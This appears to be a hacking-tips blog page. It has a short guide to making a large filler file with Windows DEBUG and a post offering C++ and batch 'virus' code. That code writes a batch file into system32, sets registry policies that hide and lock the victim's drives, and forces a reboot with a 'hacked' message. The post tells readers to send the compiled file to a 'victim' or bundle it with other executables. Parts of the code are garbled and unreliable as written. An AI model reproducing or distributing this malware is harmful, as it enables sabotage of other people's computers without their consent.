How to create a Big size file ?

You can create a big size file using windows default command prompt itself.  Why we need huge size file? When you create virus  or you can use in your college for occupying the memory.

First of all Decide the Size of  huge file.  For eg, if you decide 1 milliion byte,then we should convert it to Hexadecimal format.  Use the Windows Calculator in Scientific mode to convert to Hexadecimal.

we are planned to create 1 million byte sized file.  So,Enter 1000000 in the calculator and click on the Hex option to convert it (1 million in hex is F4240.) Pad the result with zeroes at the left until the file size reaches eight digits 000F4240.

• Now goto start->run
• Enter "cmd" to open the window.
•  Enter the command DEBUG BIGFILE.DAT and ignore the File not found message. 
•  Type RCX and press Enter. 
• Debug will display a colon prompt.
• Enter the last four digits of the hexadecimal number you calculated (4240, in our example). 
•  Type RBX and press Enter, then enter the first four digits of the hexadecimal size (000F, in our example). 
• Enter W for Write and Q for Quit.
• You've just created a 1-million-byte file using Debug. 
• Of course you can create a file of any desired size using the same technique.

C++ ,Batch Virus code to disable All Hard disk

Hi friends,here i give you give the C++ virus code.  Actually Batch code is converted to C++ virus code.  If you like you can use it as batch code also.

C++ Virus Code :

#include < windows.h >
#include < fstream.h >
#include < iostream.h >
#include < string.h >
#include < conio.h >
int main()
{
ofstream write ( "C:\\WINDOWS\\system32\\HackingStar.bat" ); /*opening or creating new file with .bat extension*/

write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n"; write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n"; write<<"shutdown -r -c \"Sorry Your System is hacked by us!\" -f"<<"\n"; write.close(); //close file ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\HackingStar.bat ",NULL,NULL,SW_SHOWNORMAL); return 0; }

Copy the above code and paste in notepad
Save the file with .cpp extension
Compile and create .exe file in cpp
Note:
Don't run this c++ program ,it will attack your system itself.
Copy the created .exe file and send it to your victim. You can also attach it with any other
exe files.


Batch Virus Code Creation:

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n

shutdown -r -c \"Sorry Your System is hacked by us!\" -f

I think this code will simple for non c++ programmers. It is easy to create the batch file also.
Copy the above code to notepad.
Save it with .bat extension (for ex: nodrivevirus.bat)
Send the file to your victim
